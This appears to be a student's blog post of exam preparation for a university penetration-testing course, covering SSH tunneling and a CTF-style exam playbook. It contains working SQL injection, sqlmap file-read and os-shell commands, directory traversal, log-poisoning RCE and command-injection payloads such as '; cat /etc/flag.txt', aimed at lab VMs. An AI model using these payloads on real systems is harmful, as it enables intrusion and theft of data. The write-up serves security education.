 
  
    
    
    
 
  
Test Exam: Penetration Testing Playbook
Table of Contents
My semester is coming to an end. The “Penetration Testing” exam will be 120min long, where every participant receives their own virtual machine.
Today here, we will go through test exercises, before the test exam tomorrow, the final test before the exam on July 18th. Let’s lern about Tunneling, have fun and capture some flags!
What is Port Forwarding/ Tunneling?
If someone’s talking about Port Forwarding/ Tunneling, it’s most likely they’re talking about Secure Shell - i wanted to use the long name, since recently in an interview, i forgot what ssh stood for… too many abbreviations in my mind haha.
SSH is as old as time, yet still in use EVERYWHERE. DON’T underestimate old technology, thinking it’s long since gone. But back to the topic
We use Port Forwarding to.. tunnel (hehe that’s the name of the movie) application ports, either from a client machine to a server machine or vice versa. This can help to
- Add encryption to older apps
- force data to pass through a firewall
- open backdoors to internal networks from home machines
- open malicious access from the web to internal networks
Local Forwarding
Here, we forward a port from the client machine to the server machine.
Local Forwarding := starting on your own machine.
We pick a local port, and when you connect via SSH, that port gets tunneled to an SSH server. From there, the server forwards the traffic to a target destination, often a service that’s only accessible inside a private network. This way, you can interact with internal services like databases, internal websites, or even SMB shares as if they were running locally.
This is also tremendously useful if you’re a red teamer and you’ve hacked a machine, now trying to hack other machines from it - except your tools are not installed there..
We will now therefor open a network socket on a local port, which awaits connection attempts. Incoming connections lead to a connection to a remote host - where our exercises are!
Optionalities are in [ ]
ssh -L [LOCAL_IP:]LOCAL_PORT:REMOTE_IP:REMOTE_PORT [user@]sshd_addr
an example for this would be:
ssh -L 80:intra.example.com:80 gw.example.com
Here, we open a connection to the gw.example.com jump server, forwarding any connections that go to port 80 on our local machine TO port 80 on intra.example.com.
If we don’t specify a local adress/ local IP, it is defaulted to localhost:
|  |  | 
Our local SSH client starts to listen on localhost:8080, and the SSH Tunnel guides traffic towards the specific SSH Server, which then guides us along to resources, services, whatever.
The
sshd_addrandREMOTE_IP(remote address) may or may not be the same - we can also have them be different values - then the SSH server is somewhere else in an internal network than the resource we want to access; no problem!
Remote Forwarding: The inverse Version
ssh -R [REMOTE_IP:]REMOTE_PORT:LOCAL_IP:LOCAL_PORT [user@]gateway_addr
In this scenariom we want to (momentarily) expose a local service to the outside world.
The command might look the same, but works a bit different.
For this, we’ll need a public-facing ingress gateway - a public server that will forward traffic to us.
By default, this public server will only do so for it’s own localhost as the remote address. To enable beyond that, we need to configure the GatewayPorts yes setting.
This blog post has super nice diagrams to understand everything better, you’ll see that otherwise, Remote Forwarding is just inverse Local Forwarding.
Later, we’ll have to learn ProxyChains, but for now that’s too much i guess.
Going into the exercise
We will now say “Hey, tunnel my local port 8888 to localhost:80 on the remote exercise host i’m SSH-ing into”
ssh -L 8888:localhost:80 user@REMOTE_IP
  
  
  
  
     
  
This gives me a point and the first flag.
Let’s use
netstat -tulpnto discover content!
- -t→ TCP
- -u→ UDP
- -l→ listening ports only
- -p→ show process name/PID
- -n→ show numeric IPs and ports (no DNS resolution)
netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:40497         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8088          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::5355                 :::*                    LISTEN      -                   
udp        0      0 127.0.0.54:53           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:5355            0.0.0.0:*                           -                   
udp6       0      0 :::5355                 :::*    
Well that looks nice.. 25, 40497, 53555 all look deliciousss…
Now, we need to forward services we want to search through also
ssh -L 88889:localhost:40497 user@REMOTE_IP
# results in 404: Page Not Found
okay, soo..
ssh -L 88889:localhost:5355 user@REMOTE_IP
and then you can begin.
Harsh interruption here. Right after this part i went to Uni and had my test exam. It went awesome, i got all 8/8 flags, BUT some of them took me too long due to errors i could’ve avoided easily. So this part will be an exam playbook for reference.
Exam Playbook
Important wordlist
Our prof said anything we need would be in /usr/share/sqlmap/data/txt/common-files.txt
Multiple Tunnels at the same time
ssh -L 8889:localhost:53 -L 8890:localhost:8008 -L 8891:localhost:8020 guest@$RHOST
Tunnel fuzzing
ffuf -u http://localhost:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt
SQL Injections
Basic Auth Bypass
admin' OR 1=1 -- -
--starts a comment that runs to end-of-line, yet in most dialects you must have whitespace after those hyphens for the comment to be valid and recognized; the trailing-is just dummy text inside the comment so it isn’t empty
You can also try
user=admin'-- 
pass=irrelevant
What worked in the Exam
|  |  | 
ofc it was URL-encoded, wrote it here for maximum clarity.
Read Payload
admin' UNION SELECT LOAD_FILE('/etc/flag.txt'), 'b', 'c' -- -
ofc you’ll need an exact column amount for
UNION, test it out by adding/ removing columns.
Reading Paths via Errors
q=1' UNION SELECT "<?php echo 'owned'; ?>" , 'hi', 'hi' INTO OUTFILE 'shell.php' -- -&submit=Search users
gave me the error telling me webroot/ path: /var/www/html/db-users/index.php
SQLMap
If you have a query you want to check with SQLMap, e.g.:
POST /db-users/ HTTP/1.1
Host: localhost:8890
Content-Length: 103
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:8890
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8890/db-users/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
q=1&submit=Search+users
MAKE SURE that the payload is empty, e.g. here just q=1, the parameter with just a placeholder - sqlmap injects itself!
sqlmap commands
sqlmap -r req.txt
# and when an injection worked:
sqlmap -r req.txt --file-read=/etc/flag.txt
sqlmap -r req.txt --dbs
sqlmap -r req.txt -D <database_name> -T <table> --dump
sqlmap -r req.txt --os-shell
Local File Inclusion
Care for Dir Traversal
http://localhost:8891/phish/?page=../../../../../etc/flag.txt
was a central point for me getting a flag here, classical dir traversal.
RCE via Log Poisoning
|  |  | 
Again, you need to encode the payload. FIRST, USE THE SITE AS A USER! I kept the
X-Flagpoison but no headers where logged, just login credentials and a timestamp.. which i would’ve known to poison directly if i had just directly tried the site like a normal user!!
Checking PHP Code
CAREFULLY read php code if you can! It ALWAYS tells you something, e.g. in the test exam, i came accross a hardcoded md5 hash:
|  |  | 
Command Injection
  … via grep
  
  
    
 
  
GET /local-user-search/?user=%3b%20cat%20%2fetc%2fflag.txt%202%3e%2fdev%2fnull%3b%23&submit=Search
decoded payload:
; cat /etc/flag.txt 2>/dev/null;#
The key insight: The vulnerable PHP code was:
$cmd = 'grep ' . $_GET['user'] . ' /etc/passwd';
$output = shell_exec($cmd);
Because $_GET['user'] is passed unsanitized into a shell command, I injected my own command using ;.
That’s command injection.
Even though it’s a grep call, I exploited the unescaped input to append a separate command (cat /etc/flag.txt).
How to Recognize Command Execution from User Input
Whenever you see PHP or any server-side code doing this:
shell_exec("some-command " . $_GET["param"]);
Look for:
- shell_exec(),- exec(),- system(),- passthru()functions
- user-controlled variables passed without sanitization or escapes
- no use of escapeshellarg()orescapeshellcmd()
Signs in output:
- Response contains command output (like id,ls, orcat)
- Server errors on invalid command syntax
- You get directory listings or full file contents
Result: our flag!
💡 Lesson:
Even grep can become a command injection vector if unescaped.
Always try ; id, ; cat /etc/passwd, ; ls /, and see if the result returns back to you.
Concluding:
- first flag was free in a sub-page
- second flag was the simple sql auth bypass
- third flag was the dir traversal using the unprotected GET-parameter
- fourth flag came through sqlmapinfiltrating the sql database (password was in a table entry)
- fifth flag came through the “reverse engineering” of the PHP code with a hardcoded MD5 hash
- sixth flag came through the LFI2RCE (Log Poisoning) i showcased
- Flags seven and eight came through the Command Injections, one time grepping /etc/flag.txtand one time executing agetflag.shthrough an appended command.
I loved the test exam! It was very helpful to make out my weaknesses - for some of these i took longer than necessary, and i need to focus more.